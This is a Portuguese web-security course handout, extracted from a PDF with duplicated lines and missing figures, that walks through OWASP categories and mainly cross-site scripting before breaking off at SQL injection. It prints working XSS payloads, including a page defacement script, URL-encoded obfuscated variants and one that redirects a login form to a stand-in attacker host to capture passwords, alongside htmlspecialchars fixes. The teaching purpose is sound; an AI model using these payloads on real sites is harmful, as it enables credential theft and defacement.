Vous êtes sur la page 1sur 72

CENTRO UNIVERSITÁRIO VILA VELHA

Curso de Extensão Tecnológica

Segurança em Web

Vitali maycon@hacknroll.com http://maycon.hacknroll.com/ O curso tem como objetivo apresentar aos alunos a realidade
Vitali maycon@hacknroll.com http://maycon.hacknroll.com/ O curso tem como objetivo apresentar aos alunos a realidade

O curso tem como objetivo apresentar aos alunos a realidade dos ataques em siste mas web de maneira prática, demonstrando como os atacantes identificam as vulnerabilidades e, a partir delas, efetuam ataques que comprometem os principais ativos das empresas.

Sumário

1. Introdução ao OWASP

 

4

2. Introdução a Segurança da Informação

 

5

2.1.

Segurança em Web

6

3. Vulnerabilidades Web

 

7

3.1.

Cross-Site-Script (OWASP #1)

 

7

3.1.1 Primeiro Exemplo Retorno de Variáveis

8

3.1.2 Segundo Exemplo Recuperação de Dados

12

3.2.3 Terceiro Exemplo Alteração de Informações da Página

15

3.1.4 Quarto Exemplo Mudança de Escopo

16

3.1.5 Solução

 

18

3.2.

Injeção de SQL (OWASP #2)

 

20

3.2.1

Primeiro Exemplo Formulário de Acesso

21

 

3.2.1.1 Método de Ataque

 

22

3.2.1.2

Primeira

Proteção

Ineficaz

23

3.2.1.3 Segunda Proteção Ineficaz

25

3.2.1.4 Terceira Proteção do Primeiro Exemplo (Eficiente?)

26

3.2.2

Segundo Exemplo (Ajax + Variáveis Numéricas)

28

 

3.2.2.1 Ferramenta Auxiliar (FireBug)

30

3.2.2.2 - Utilizando o INFORMATION_SCHEMA

33

3.2.2.3 Descobrindo o Número de Colunas

34

3.2.2.4 Obtendo colunas visíveis

36

3.2.2.5 Localizando Tabelas Necessárias

37

3.2.2.6 Descobrindo o Nome das Colunas

37

3.2.2.7 Efetuando o Ataque

 

38

3.2.7

- Conclusão

 

41

o Ataque   38 3.2.7 - Conclusão   41 Página 2 Curso de Extensão Tecnológica de
o Ataque   38 3.2.7 - Conclusão   41 Página 2 Curso de Extensão Tecnológica de

3.3.

Execução de Arquivo Remoto (OWASP #3)

42

3.3.1 Exemplo

43

3.3.2 Solução

48

3.4.

Referência Direta a Objetos Inseguros (OWASP #4)

50

3.4.1 Primeiro Exemplo - Acesso a Arquivos do Sistema Operacional

50

3.4.2 Segundo Exemplo - Acesso a Registros do Banco de Dados

51

3.4.3 Solução

53

3.5.

Cross Site Request Forgery (OWASP #5)

54

3.5.1 Exemplo

Primeiro

Forum Logout

54

3.5.2 Exemplo Sites de e-Commerce

Segundo

54

2.5.3 Solução

58

3.6.

Vazamento de Informação e Tratamento Incorreto de Erros (OWASP #6)

59

3.6.1

Primeiro Exemplo Mensagens Diversas

59

3.6.2 Segundo Exemplo Mensagens de Erro

60

 

Solução

61

3.7. Furo de Autenticação e Gerência de Sessão (OWASP #7)

Erro! Indicador não definido.

3.8. Armazenamento Criptográfico Inseguro (OWASP #8)

65

3.8.1 Criptografia VS

Hash

65

3.8.2 Mal da Política de Segurança

65

3.8.3 Ataques a Sistemas Criptográficos

66

3.8.4 Ataques a Funções Hash

67

3.8.5 Solução

 

68

3.9.

Comunicação Insegura (OWASP #9)

69

3.9.1

Solução

69

3.10. Falha de Restrição de URL (OWASP #10)

70

3.10.1 Solução

 

71

4. Referências

72

3.10.1 Solução   71 4. Referências 72 Curso de Extensão Tecnológica de Segurança em Web
3.10.1 Solução   71 4. Referências 72 Curso de Extensão Tecnológica de Segurança em Web

1. Introdução ao OWASP

O Open Web Application Security Project (OWASP) é uma comunidade livre e aberta,

mundialmente centrada na melhoria da segurança dos softwares. Sua missão é tornar a segurança das aplicações visíveis, para que as pessoas e organizações possam tomar conhecimento sobre os verdadeiros riscos de segurança que uma aplicação pode sofrer. Todos são livres de participar do OWASP, e todos os materiais estão disponíveis sob uma licença de software livre.

O OWASP é um novo tipo de organização. Sua liberdade do meio comercial permite fornecer métodos imparciais, práticos e eficazes em termos de custos sobre a aplicação de segurança. O OWASP não é afiliado a qualquer empresa tecnologia, apesar de apoiar a utilização de soluções de segurança tecnologia comercial.

De maneira resumida, o OWASP possui como princípios ser livre e aberto, ser direta e concisa,

obedecer a um código de ética, não ter fins lucrativos, não ser impulsionada por interesses

comerciais e ter uma abordagem baseada em riscos.

Como código de ética o OWASP define como seu:

Executar todas as atividades profissionais e deveres em conformidade com todas as leis aplicáveis e os mais altos princípios éticos;em riscos. Como código de ética o OWASP define como seu: Promover a implementação e o

Promover a implementação e o cumprimento das normas, procedimentos e controles para efeitos de aplicação da segurança;as leis aplicáveis e os mais altos princípios éticos; Manter a confidencialidade adequada de propriedade ou

Manter a confidencialidade adequada de propriedade ou de outra informação sensível encontradas no decurso das atividades profissionais;e controles para efeitos de aplicação da segurança; Responsabilidades profissionais com diligência e

Responsabilidades profissionais com diligência e honestidade;encontradas no decurso das atividades profissionais; Abster-se de quaisquer atividades que possam constituir um

Abster-se de quaisquer atividades que possam constituir um conflit o de interesse ou de outra forma prejudicar a reputação dos empregadores, as informações de segurança profissão, ou a Associação, eprofissionais com diligência e honestidade; Não intencionalmente ferir ou refutar a reputação

Não intencionalmente ferir ou refutar a reputação profissional de prática dos colegas, clientes ou funcionário.informações de segurança profissão, ou a Associação, e Página 4 Curso de Extensão Tecnológica de Segurança

de prática dos colegas, clientes ou funcionário. Página 4 Curso de Extensão Tecnológica de Segurança em
de prática dos colegas, clientes ou funcionário. Página 4 Curso de Extensão Tecnológica de Segurança em

2. Introdução a Segurança da Informação

A segurança da informação é o setor da tecnologia da informação responsável por prover recursos e mecanismos que visam identificar, prevenir e solucionar problemas que ameaças possam fornecer aos ativos de uma empresa. Quanto aos ativos, esses consistem em qualquer recurso que tenha valor para empresa, sejam equipamentos, ferramentas lógicas (como softwares), estrutura física, funcionários e até mesmo a informação em si. De maneira geral, a segurança da informação é responsável por proteger os bens valorados da empresa, além de fornecer mecanismos para contra medidas caso algum dos recursos sofra algum tipo de ameaça ou ataque.

Para uma análise, planejamento e implantação de segurança em uma empresa, utiliza-se como atributo dos ativos a tríade CIA (Confidentiality, Integrity and Availability), que representam a confidencialidade, integridade e disponibilidade da informação. A confidencialidade garante que uma dada informação só será acessada pelas pessoas e meios que possuem priv ilégios para tal ação; a integridade garante que, quando uma dada informação for acessada, a mesma seja real, ou seja, não tenha sofrido qualquer tipo de alteração indevida por algum meio externo ou interno; e a disponibilidade garante que a informação esteja disponível quando for solicitada.

Os mecanismos de segurança se baseiam em controles físicos, que são barreiras que limitam o acesso direto a informação ou a infra-estrutura (como portas, trancas ou guardas) e controles lógicos, que são barreiras que impedem ou limitam o acesso a informação (geralmente eletrônico) que, de outro modo, ficaria exposta a cópia ou alteração não autorizada por um atacante.

Atualmente, existe uma vasta quantidade de ferramentas e sistemas que possuem como

objetivo fornecer segurança. Alguns exemplos são os Antivírus (e m4lwares em geral),

Fuzzers,

Analisadores de Códigos, etc. Entretanto, uma má utilização/configuração dessas ferramentas podem não prover a segurança necessária para os ativos em questão.

Sistemas

de

Detecção e

Prevenção

de

Intrusões,

Firewalls,

Filtros

Anti -Spam,

Além das ferramentas citadas, a segurança da informação consiste em proteger os ativos de ameaças físicas como incêndios, desabamentos, relâmpagos, alagamentos, acesso indevido e até mesmo de pessoas.

alagamentos, acesso indevido e até mesmo de pessoas. Curso de Extensão Tecnológica de Segurança em Web
alagamentos, acesso indevido e até mesmo de pessoas. Curso de Extensão Tecnológica de Segurança em Web

2.1.

Segurança em Web

A Web foi criada com o único objetivo de prover um meio de troca de informações de maneira amigável do que os recursos que se tinham na época. Com isto, não se teve qualquer (ou pouca) ênfase em segurança, e isto se tornou um problem a para aqueles que à utilizam como meio comercial.

Atualmente, é possível notar que a tendência é que as aplicações sejam migradas para ambiente Web. Isso pelas inúmeras vantagens que essa mudança provém, como o livre acesso de qualquer lugar do mundo, a i nter-conectividade entre sistemas, a fácil manutenção (e atualização) etc. Por outro lado, no dia-a-dia ouvem-se notícias e relatos que comprovam o quão a Internet tem se tornado um ambiente hostil , tornando então as empresas sujeitas a ataques alheiros que, consequentemente resultam em perda de capital e credibilidade no mercado.

Muitas vezes a aplicação Web se localiza em intranet, ou seja, não possui um acesso direto de um meio externo a ela. Desta forma, empresários e desenvolvedores utilizam a não publicação do sistema como argumento de impossibilidade de comprometi mento do sistema. Porém, em um cenário real, tem-se notado crescente o número de ataques internos, geralmente praticados por funcionários insatisfeitos ou até mesmo através de ferramentas maliciosas (malwares) instaladas acidentalmente na rede interna da empresa.

Com o fácil acesso a informação, a Internet tem formado diversos profissionais incapazes de proverem segurança nos sistemas desenvolvido e, por mais incrível que pareça, todo o conce ito de segurança em desenvolvimento web poderia ser resumido em uma única vertente muito bem definida no livro Writing Secure Code (ISBN 9780735617223) que diz “all input is evil until proven otherwise, ou seja, toda entrada é maléfica até que se provem ao contrário.

Pode ocorrer de o programador ter conhecimento dos tipos de ataques . Porém isso não é o bastante para que o mesmo seja capaz de prover um mecanismo eficaz de proteção. De certa forma, ele inibiria ataques conhecidos ou até mesmo padronizados . Uma má programação de um mecanismo de segurança seria extremamente ineficaz em ataques planejados.

De uma maneira geral, é possível encontrar diversos mecanismos e sugestões de boas práticas de programação. Porém, grande parte delas procura evitar assinaturas de ataques como caracteres especiais ou algumas características específicas. Ao invés de proibir que o usuário forneça dados inválidos, o ideal seria permitir que o usuário somente fornecesse dados válidos. Isto pode parecer ambíguo, só que no universo de informações que o usuário pode fornecer, entre dados válidos e dados inválidos existe uma infinidade de possibilidades. Assim, somente inibindo o usuário de fornecer um dado inválido, pode ocorrer de dados ou situações não previstas serem utilizadas em um ataque, o que resultaria em sucesso para um atacante.

“Toda entrada é maléfica até que se provem ao contrário”. Em uma aplicação Web, diversos são os meios de interação com o usuário. Com isso, outro erro ignorado por muitos programadores é não validar informações não manipuladas diretamente pelo usuário.

informações não manipuladas diretamente pelo usuário. Página 6 Curso de Extensão Tecnológica de Segurança em
informações não manipuladas diretamente pelo usuário. Página 6 Curso de Extensão Tecnológica de Segurança em

Muitas vezes os programadores se preocupam em verificar informações que são visíveis e de fácil manipulação do usuário, como variáveis de URL ou mesmo campos de formulários. Porém diversos são os meios de efetuar um ataque , como campos hidden de formulários, valores de campos do tipo select ou option, dados enviados pelo método POST, dados armazenados em cookie e até mesmo valores enviados no cabeçalho HTTP da requisição.

3. Vulnerabilidades Web

A Web sem via de dúvidas é o meio mais fácil de ingressar e ter um espaço na Internet. Além

do mais, muitas vezes nos referimos à Internet como somente a Web, de tamanha diferença que ela é difundida com relação aos outros mecanismos de comunicação. Por esse motivo ela

tem sido alvo de ataques dos mais diversos.

Como a Web tem crescido de maneira a fornecer dezenas mecanismos e ferramentas para iteração com ela, diversos tem sido os tipos de vetores de ataques, o que torna o ambiente Web literalmente uma “selva”, onde somente os que se preocupam com sua própria segurança sobreviverão.

Quando a aplicação Web não armazena nenhuma informação realmente valiosa ou importante, nota-se a não importância pela existência ou não de vulnerabilidades. Porém, é importante sabe r que ao encontrar uma vulnerabilidade Web, ela pode ser utilizada como portão de entrada para uma invasão em massa e tomada total dos recursos e serviços do servidor e possivelmente da rede onde o mesmo hospeda que, dependendo do contrato de vinculação do serviço, pode responsabilizar o contratante do serviço de hospedagem pelos prejuízos acarretados.

Nos próximos capítulos, serão descritos as principais classes de vulnerabilidades presentes na Web, como ela são identificadas e exploradas por um atacante, e como é possível prevenir que

se desenvolva uma aplicação suscetível a elas.

3.1. Cross-Site-Script (OWASP #1)

A vulnerabilidade de Cross-Site-Script (XSS) é umas das mais antigas e presentes desde os

primórdios da programação para Web dinâmica. Apesar do baixo impacto, a falha de XSS é extremamente encontrada nos sistemas Web e, se sucesso na exploração, permite ao atacante obter controle total da sessão de autenticação do usuário vítima.

A vulnerabilidade de XSS é explorada com sucesso quando se consegue executar códigos

JavaScript no navegador da vítima se m o consentimento dela. Com isto, é possível enviar requisições para o servidor utilizando as credenciais de permissão da vítima atacada. Além do

as credenciais de permissão da vítima atacada. Além do Curso de Extensão Tecnológica de Segurança em
as credenciais de permissão da vítima atacada. Além do Curso de Extensão Tecnológica de Segurança em

mais, em um ataque planejado, é possível fazer literal mente o seqüestro de sessão (do inglês session hijacking), que permite acessar o sistema com autenticação da vítima.

De uma maneira geral, a falha de XSS ocorre quando o programador imprime no navegador de maneira dinâmica (PHP, ASP, JSP etc) uma informação que pode ser manipulada pelo usuário.

Como “toda entrada é mal intencionada até que se provem o contrário”, um atacante poderia inserir informações no banco de dados ou em qualquer variável que retorne para o usuário (navegador) sem nenhum tipo de filtro de segurança. Desta forma, ao inserir caracteres especiais, o atacante consegue fazer com que o navegador interprete a informação fornecida como código Javascript, executando assim operações no navegador da vítima.

Com a massificação do XSS, idéias foram surgindo. Dentre elas, a criação de w0rms em XSS foi sem dúvida a mais fantástica. Dente os destaques está o “V írus do Orkut”, que em meado de 2007, através da uma falha de XSS do Orkut, fazia com que o usuário atacado ingresse na comunidade “Infectados pe lo Virus do Orkut” e enviasse o código que infectaria todos os amigos. Já de se esperar, a comunidade rapidamente chegou a meio milhão de membros, o que fez com que ela fosse a comunidade recordista da época.

3.1.1 Primeiro Exemplo Retorno de Variáveis

Como dito, a falha de Cross-Site-Scripting existe quando o programador repassar para o navegador sem qualquer filtragem e tratamento adequado uma informação que pode ser manipulada pelo usuário. Desta forma o usuário pode inserir códigos client-side (JavaScript, EMACScript, VBScript etc) que seja executados no navegador.

Um exemplo para demonstrar a ocorrência da falha pode ser visto no código abaixo:

a ocorrência da falha pode ser visto no código abaixo: No código acima, é possível notar

No código acima, é possível notar que o desenvolvedor repassa para o navegador o valor da variável busca enviada pelo usuário através do método GET. Um exemplo de formulário de pesquisa que interaja com o código acima pode ser visto abaixo:

que interaja com o código acima pode ser visto abaixo: Página 8 Curso de Extensão Tecnológica
que interaja com o código acima pode ser visto abaixo: Página 8 Curso de Extensão Tecnológica
Uma caixa de texto fornece o valor da variável busca ao código PHP, porém esse

Uma caixa de texto fornece o valor da variável busca ao código PHP, porém esse valor poderia ter vindo de diversos lugares como campos hidden, cookie, diretamente da URL etc.

O formulário HTML tem seu funcionamento perfeito para usuários comuns e sem más intenções. Porém em um ambiente real sempre devemos nos prever de usuários mal intencionados e levar em consideração q ue eles possuem conhecimento para efetuar o ataque e que vão fazê-lo.

Para um melhor entendimento do funcionamento da falha, veja como ficaria o código gerado pelo script PHP para a busca Ataques Web:

o código gerado pelo script PHP para a busca Ataques Web : Como de se esperar,

Como de se esperar, o código faz o que promete. Porém , se colocarmos caracteres especiais e que possa ser executados pelo navegador, o mesmo o fará e então conseguiremos ter sucesso em como um vetor de ataque.

Veja como ficaria se colocássemos o seguinte valor <script>alert('Vulneravel a XSS')</script> no campo de pesquisa:

a XSS')</script> no campo de pesquisa: Como de se esperar, o script PHP simplesmente repassou o

Como de se esperar, o script PHP simplesmente repassou o valor digitado para a página. Desta forma, como inserimos códigos Javascript, o navegador executou-os como segue:

códigos Javascript, o navegador executou-os como segue: Curso de Extensão Tecnológica de Segurança em Web
códigos Javascript, o navegador executou-os como segue: Curso de Extensão Tecnológica de Segurança em Web
O exemplo de vulnerabilidade de XSS demonstrado não possui grandes chances de sucesso. Isto porque

O exemplo de vulnerabilidade de XSS demonstrado não possui grandes chances de sucesso. Isto porque as informações que são enviadas para serem exploradas são fornecidas no mesmo momento da requisição, ou seja, é necessário enviar a requisição para o servidor com os dados que efetuam o ataque para logo depois ter a exploração bem sucedida. Para isto, é necessário utilizar técnicas de Engenharia Social. A Engenharia Social consiste em bolar um meio de literalmente enganar a vítima a fim de induzi-la a cooperar com o processo de exploração. O mais comum seria enviar um e-mail contendo alguma informação de interesse da vítima e, com isto, obter um mecanismo de fazer com que ela acesse um endereço como o que segue:

http://localhost/AtaquesWeb/xss_exemplo1.php?busca=<script>alert('Vulneravel+a+XSS')</script>

Ao acessar o endereço, o código Javascript será executado assim como ocorrido anteriormente em que utilizamos o formulário de pesquisa. Porém, enviando o endereço citado acima, um usuário que tenha o mínimo de preocupação com segurança facilmente notaria que se trata de uma tentativa de ataque (sem mais detalhes). Para evitar esse tipo de desfeche, um atacante tenta ao máximo esconder o que poderia ser um ataque. Desta forma, a vítima ficaria insegura quanto à possibilidade de ser um ataque ou não e, em muitas vezes, “arrisca ria”. Um exemplo onde o atacante “camuflaria” as assinaturas do ataque poderia ser enviar o seguinte endereço:

http://localhost/AtaquesWeb/xss_exemplo1.php?busca =%3c%73%63%72%69%70%74%3e%61%6c%65

%72%74%28%27%56%75%6c%6e%65%72%61%76%65%6c%20%61%20%58%53%53%27%29%3c%2f%

73%63%72%69%70%74%3e

No padrão da Web, quando se deseja enviar um caractere especial no cabeçalho HTTP, para o parser do servidor não ter problemas, foi definido como padrão aplicar o HexEncode. O HexEncode (ou URLEncode), consiste em pegar cada um desses caracteres que poderiam causar problemas ao servidor na hora de interpretar e substituí-los pelo seu respectivo valor hexadecimal precedido do símbolo de porcentagem.

Para facilitar o trabalho, foi escrito um código Javascript em uma página que acelera o processo de codificação de uma entrada. Se for fornecido como entrada para esta página o

entrada. Se for fornecido como entrada para esta página o Página 10 Curso de Extensão Tecnológica
entrada. Se for fornecido como entrada para esta página o Página 10 Curso de Extensão Tecnológica

código que foi utilizado no ataque à mesma retornará o texto codificado utilizado no exemplo anterior. Veja o resultado da execução do codificador:

anterior. Veja o resultado da execução do codificador: O códi go do codificador pode ser visto

O códi go do codificador pode ser visto na figura abaixo:

O códi go do codificador pode ser visto na figura abaixo: Como dito, o codificador simplesmente

Como dito, o codificador simplesmente substitui cada caractere por seu respectivo valor ASCii (em hexadecimal) precedido do símbolo de porcentagem (linhas 21 e 22).

Existem dezenas de métodos onde podemos explorar a falha de Cross-Site-Scripting. Uma das grandes vantagens em sua exploração, é que as vulnerabilidades de XSS são cross-plataform., ou seja, por ela serem explorada por códigos de internet client-side, elas são independente de plataforma. Entre tanto, teoricamente, as falhas de XSS se limitam ao ambiente Web, com isto não é possível gravar ou instalar programas no disco da máquina da vítima. Entretanto, isto é verdade somente quando se deseja um código que infecte múltiplas plataformas, já que em alguns navegadores como o Internet Explorer existem recursos que nos permite ler e gravar dados no HD da vítima.

que nos permite ler e gravar dados no HD da vítima. Curso de Extensão Tecnológica de
que nos permite ler e gravar dados no HD da vítima. Curso de Extensão Tecnológica de

3.1.2 Segundo Exemplo Recuperação de Dados

Dos diversos locais aonde se pode encontrar uma vulnerabilidade de XSS, os que mais interessam os atacantes são falhas que buscam informações de um meio de armazenamento. Na falha descrita, a informação que é repassada para o navegador vem diretamente do navegador, o que cria a necessidade da cooperação da vítima para o sucesso no ataque. Entretanto, algumas falhas de XSS surgem quando os dados fornecidos por um usuário (atacante) são gravados em um meio de armazenamento (banco de dados, arquivo etc.) e ao ser impresso não passar por qualquer tipo de filtro.

Um exemplo bem completo de como esse tipo de falha pode ocorrer pode ser visto na figura abaixo:

tipo de falha pode ocorrer pode ser visto na figura abaixo: O código acima consiste em

O código acima consiste em uma simples agenda de contatos com uma área de cadastro e uma listagem. Todo o processamento de busca e gravação é feito nas funções cadastraContato (linha 5) e buscaContatos (linha 8). Isto foi feito propositalmente para abstrair o meio de armazenamento. Porém, para um melhor acompanhamento do curso segue o código de ambas as funções:

do curso segue o código de ambas as funções: Página 12 Curso de Extensão Tecnológica de
do curso segue o código de ambas as funções: Página 12 Curso de Extensão Tecnológica de
Toda entrada é mal intencionada até que se provem ao contrário. O foco da vulnerabilidade

Toda entrada é mal intencionada até que se provem ao contrário. O foco da vulnerabilidade está no fato de o script gravar os dados fornecidos pelo usuário e em seguida os repassar sem nenhum tipo de filtro. Com isto, um atacante pode simplesmente injetar o código Javascript em qualquer um dos campos e esperar que algum outro usuário acesse a mesma página executando, assim, o código Javascript inserido. Veja:

executando, assim, o código Javascript inserido. Veja: Curso de Extensão Tecnológica de Segurança em Web
executando, assim, o código Javascript inserido. Veja: Curso de Extensão Tecnológica de Segurança em Web
executando, assim, o código Javascript inserido. Veja: Curso de Extensão Tecnológica de Segurança em Web

No exemplo, foi inserido no campo telefone o código <script>alert('attack')</script> que será gravado como um registro e, em qualquer acesso à página, repassado para o usuário (vítima), tendo sucesso no ataque.

Repare que a qualquer acesso que fizer à página o resultado será sempre o mesmo, a mensagem que foi inserida pelo atacante. Veja:

o mesmo, a mensagem que foi inserida pelo atacante. Veja: Repare que para demonstrar o sucesso

Repare que para demonstrar o sucesso na execução do Javascript, foi solicitado que o mesmo exiba uma mensagem. Entretanto, em um ataque real, dificilmente o usuário suspeitará do atacante, já que o ataque procura fazer as requisições e ações de maneira escondida.

Uma ação comum para um atacante seria alterar informações da própria página. Se o mesmo tiver o propósito de fazer uma pichação na página ( defacing), ele poderia simplesmente injetar o seguinte código:

<script> document.body.innerHTML = "<h1 align='center'>H4ck3d by 0ut0fBound</h1>"; </script>

Desta forma o impacto comercial para a vítima seria incalculável, já que o resultado será o visto na seguinte figura:

já que o resultado será o visto na seguinte figura: Página 14 Curso de Extensão Tecnológica
já que o resultado será o visto na seguinte figura: Página 14 Curso de Extensão Tecnológica
já que o resultado será o visto na seguinte figura: Página 14 Curso de Extensão Tecnológica

3.2.3 Terceiro Exemplo Alteração de Informações da Página

Outro tipo de exploração à XSS ocorre quando o usuário altera informações criteriosas da página em questão, como valores, textos ou até mesmo endereços de links e destinos de formulários.

Já tive sucesso na exploração de XSS em um caso onde alterei o destino para onde o formulário de acesso enviava os dados. Com isto, fiz um código externo que capturava os dados enviados pelo formul ário, gravava-os em um lugar e em seguida retornava para a tela de erro comum. Para demonstrar este caso que foi citado vamos analisar o seguinte código:

este caso que foi citado vamos analisar o seguinte código: Repare que na linha 17 é

Repare que na linha 17 é impresso um valor fornecido pelo método HTTP-GET, desta forma visível na URL. Podemos tirar proveito disto montando uma URL cujo endereço seja algo como:

http://localhost/AtaquesWeb/xss_exemplo3.php?msg=<script>document.getElementsByTagName(‘for

m’)*0+.action=’http://www.attackersite.com/pegasenha.php’;</script>

Ou ainda utilizar o mecanismo de camuflagem já visto, deixando a URL mais ilegível:

http://localhost/AtaquesWeb/xss_exemplo3.php?msg=%3c%73%63%72%69%70%74%3e%64%6f%63%

75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d

%65%28%2018%66%6f%72%6d%2019%29%5b%30%5d%2e%61%63%74%69%6f%6e%3d%2019%68%74

%74%70%3a%2f%2f%77%77%77%2e%61%74%74%61%63%6b%65%72%73%69%74%65%2e%63%6f%6

d%2f%70%65%67%61%73%65%6e%68%61%2e%70%68%70%2019%3b%3c%2f%73%63%72%69%70%7

4%3e

Ambas as URL irão ter o mesmo efeito para o servidor, porém para o usuário a primeira URL apresenta maiores chances de ser um ataque.

a primeira URL apresenta maiores chances de ser um ataque. Curso de Extensão Tecnológica de Segurança
a primeira URL apresenta maiores chances de ser um ataque. Curso de Extensão Tecnológica de Segurança

No exemplo citado, o servidor www.attackersite.com é controlado pelo atacante e o script pegasenha.php simplesmente armazena as senhas fornecidas pelo e redireciona- o para o servidor original novamente informando uma mensagem de erro qualquer. Ao tentar novamente acessar o sistema, o usuário conseguirá logar com sucesso, passando despercebido pelo ataque.

Um exemplo simples de script que poderia ser utilizado pelo atacante para salvar as senhas e redirecionar ao servidor original pode ser visto abaixo:

e redirecionar ao servidor original pode ser visto abaixo: Repare que na linha 12 o código

Repare que na linha 12 o código redireciona para a página de erro, induzindo o usuário a pensar que digitou errado o login ou a senha. Quando o usuário digitar novamente terá acessado normalmente o sistema.

Quando um atacante deseja explorar uma falha de Cross -Site-Script, ele precisa saber o contexto onde ele consegue injetar o código Javascript. Isto significa que, por mais que ele encontre uma falha de XSS em uma página, a exploração como as vistas até agora simplesmente podem não surtir efeito.

3.1.4 Quarto Exemplo Mudança de Escopo

Como dito no inicio, a falha de Cross-Site-Scripting ocorre pelo simples fato de o programador não filtrar os dados que podem ser manipulados pelo usuár io antes de reenviá-los para o navegador. Independente de onde estiver no código, é possível explorar uma falha de XSS.

O mais comum de se encontrar são parâmetros passados pela URL que são repassados para alimentar informações na página. Se tivermos um pedido de código 1234, para qualquer operação a ser feita nesse pedido deve ter como referência o código do pedido 1234. Um exemplo desse tipo de falha esta no trecho de código abaixo:

desse tipo de falha esta no trecho de código abaixo: Página 16 Curso de Extensão Tecnológica
desse tipo de falha esta no trecho de código abaixo: Página 16 Curso de Extensão Tecnológica
desse tipo de falha esta no trecho de código abaixo: Página 16 Curso de Extensão Tecnológica

Reparem que a variável

Entretanto, se tentarmos inserir um código Javascript como os vistos até agora , o mesmo não

surtirá efeito algum já que estamos no contexto da tag HTML <a>, mais precisamente no atributo href. Para se ter sucesso em uma exploração de XSS, é necessário antes sair do contexto da tag atual voltando para o contexto da página e, em seguida, retornar para o contexto da tag, de maneira a deixar imperceptível a tentativa de ataque.

de filtro.

pedido é repassada para a página sem nenhum tipo

Analisando mais cautelosamente, notamos que para sair ta tag atual, precisamos fechar as aspas e em seguida fechar o símbolo de ‘maior-quê’. Logo após podemos inserir nosso código Javascript.

É possível notar que desta forma seria notável que alguma coisa está estranha, já que sobraram as aspas e o símbolo de “maior -que” original e as mesmas serão impressas na página. Para que isto não ocorra, é necessário criar algum artifício que utilize esses caracteres e os mesmo não seja impresso. Este ponto vai da criatividade de cada um, uma solução seria o seguinte:

http://localhost/AtaquesWeb/xss_exemplo4.php?pedido="><script>alert('attack')</script><xss+"

Com isto, o script será executado e não afetará o leiaute da página.

Para se proteger de ataques de XSS, basta levar em consideração a frase dita em diversas parte do documento: “Toda entrada é mal intencionada até que se provem o contrário.”. Seguindo este paradigma de programação seria razoavelmente simples e útil se proteger não só dos ataques de Cross-Site-Scripting, como de praticamente qualquer ataque Web ou não-web.

Como a vulne rabilidade de XSS consiste em inserir códigos Javascript na página, uma alternativa seria impedir a inserção de caracteres que possam inferir na execução do script como os caracteres < e >. Veja um exemplo de código abaixo:

caracteres < e >. Veja um exemplo de código abaixo: Como em uma política de firewall

Como em uma política de firewall, tentar bloquear o que não se deseja não é uma boa alternativa, pois ás vezes é difícil (ou impossível) prever todo tipo de dado que pode representar um ataque. Portanto, como uma política de firewall, o ideal seria permitir somente entradas válidas.

Um exemplo que burlaria esse filtro simples seria a inserção do seguinte dado à URL:

filtro simples seria a inserção do seguinte dado à URL: http://localhost/AtaquesWeb/xss_safe01.php?usuario="
filtro simples seria a inserção do seguinte dado à URL: http://localhost/AtaquesWeb/xss_safe01.php?usuario="
filtro simples seria a inserção do seguinte dado à URL: http://localhost/AtaquesWeb/xss_safe01.php?usuario="

Ao carregar a página, a falha não seria carregada. Porém, ao passar o mouse sobre a caixa de texto, o resultado seria como a seguinte imagem:

a caixa de texto, o resultado seria como a seguinte imagem: 3.1.5 Solução Em vez de

3.1.5 Solução

Em vez de procurar prover uma proteção contra os ataques de Cross-Site-Scripting, o ideal seria torná-los sem efeito. Isso porque muitas vezes é necessário se inserir os caracteres maior-que e menor-que em uma mensagem ou em um campo de formulário. Além do mais, não seria muito legal fornecer ao usuário inocente uma mensagem de tentativa de ataque caso ele tente colocar os caracteres de um emotion ou de uma setinha como ->. Para uma real solução que agrade a todos, o próprio HTML nos fornece uma solução.

Diversos caracteres possuem outras representações que indicam que os mesmo deve ser renderizados no navegador ao invés de passar para interpretação. Como toda a internet (TCP/IP), isto não foi feito pensando em segurança, mas sim na diferença de codificação entre as diversas regiões e navegadores. Alguns utilizam por padrão ISSO-8859-1, outros utiliza UTF- 8 como padrão, o que causa um grande problema caso tentem ser interpretados.

No caso da linguagem PHP, uma função chamada htmlspecialchars() pode ser utilizada para substituir os caracteres que são interpretador como HTML para suas representações reais a serem impressas no navegador. Esta função possui a seguinte sintaxe:

string htmlspecialchars ( string $string [, int $quote_style [, string $charset ]] )

O primeiro parâmetro consiste na entrada fornecida pelo usuário. O segundo parâmetro (opcional) é utilizado para o PHP saber o que fazer com as aspas-simples e aspas-dupla. O terceiro parâmetro (opcional). O terceiro parâmetro é utilizado para identificar o conjunto de caracteres (codificação) a ser utilizada. O padrão de codificação é o ISO-8859-1.

Para o segundo parâmetro quote_style, o modo padrão, ENT_COMPAT, é o modo mais compatível com a atualidade, apenas transforma a aspas-dupla e deixa a aspas-simples como está. Se ENT_QUOTES está definida, ambas transformadas e se ENT_NOQUOTES está definida nenhuma das duas são modificadas.

está definida nenhuma das duas são modificadas. Página 18 Curso de Extensão Tecnológica de Segurança
está definida nenhuma das duas são modificadas. Página 18 Curso de Extensão Tecnológica de Segurança

A lista de caracteres e suas substituições estão representadas na tabela abaixo:

Caractere

Nome

Resultado

Condição

&

Ê Comercial

&amp;

 

Aspas duplas

&quot;

ENT_NOQUOTES não está definida

Aspas simples

&#039;

Quando ENT_QUOTES está definida

<

Menor que

&lt;

 

>

Maior que

&gt;

 

Aplicando somente a função no código acima, vejamos o resultado:

somente a função no código acima, vejamos o resultado: Resultado de execução: Curso de Extensão Tecnológica

Resultado de execução:

código acima, vejamos o resultado: Resultado de execução: Curso de Extensão Tecnológica de Segurança em Web
código acima, vejamos o resultado: Resultado de execução: Curso de Extensão Tecnológica de Segurança em Web
código acima, vejamos o resultado: Resultado de execução: Curso de Extensão Tecnológica de Segurança em Web

3.2. Injeção de SQL (OWASP #2)

Muitos preferem acreditar que não, más a vulnerabilidade de Injeção de SQL (do inglês SQL Injection) é tão presente nos portais e sistemas Web quanto às vulnerabilidades de Cross-Site- Scripting. Porém, como ela é mais publica (existe uma quantidade maior de material falando sobre exploração) e existem mais mecanismos automatizados de defesa, os desenvolvedores sentem uma falsa segurança, o que torna a prática de programação segura irrelevante.

